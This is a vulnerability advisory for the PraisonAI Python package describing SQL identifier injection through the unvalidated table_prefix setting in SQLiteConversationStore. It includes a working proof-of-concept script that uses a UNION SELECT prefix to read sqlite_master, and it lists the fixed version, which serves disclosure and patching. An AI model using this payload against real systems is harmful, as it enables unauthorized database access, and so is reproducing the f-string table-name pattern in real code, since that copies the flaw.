Średnia

PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

  • Ujawniono: 10.04.2026
  • Aktualizacja: 11.10.2026 14:18

Summary

The table_prefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.


Details

This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

python
sessions_table = f"{table_prefix}sessions"

This value is then used in queries such as:

sql
SELECT * FROM {self.sessions_table}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

  • Source: config.py (from_yaml / from_dict) accepts external configuration input

  • Propagation: factory.py (create_stores_from_config) passes conversation_options without validation

  • Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from table_prefix

As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code

The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.

python
#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected = SQLiteConversationStore(
            path=db_path,
            table_prefix=injected_prefix,
            auto_create_tables=False,
        )

        injected_rows = injected.list_sessions(limit=10, offset=0)
        injected_ids = [row.session_id for row in injected_rows]

        print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
        print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")

        suspicious = any(
            x in injected_ids
            for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
        )

        if suspicious or len(injected_rows) > len(normal_rows):
            print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
            return 0

        print("[!] PoC inconclusive: no clear injected rows observed")
        return 2

    finally:
        try:
            os.remove(db_path)
            print("[+] temp db removed")
        except OSError:
            pass


if __name__ == "__main__":
    raise SystemExit(run_poc())

2. Expected Output

PoC Result The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.

3. Impact

  • SQL Identifier Injection
  • Query result manipulation
  • Internal schema disclosure

Exploitable when untrusted input can influence configuration.


Reference

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) praisonai < 4.5.133 4.5.133

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-89
Platforma
Python (PyPI)
Paczka
praisonai
Ujawniono
10.04.2026
Aktualizacja
11.10.2026 14:18

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-2925 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x783-xp3g-mqhp - CC BY 4.0

Historia podatności: praisonai

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (104) w archiwum
Wszystkich wpisów
104
Pierwsza → ostatnia
04.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 27
  • Wysoka 60
  • Średnia 17

Ujawnienia w latach

  1. 2026: 104
Istotność:
  1. PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries ten wpis
    Średnia CVE-2026-40315 < 4.5.133 4.5.133
  2. Wysoka · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
Pokaż więcej (20) Widać 21 z 88

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.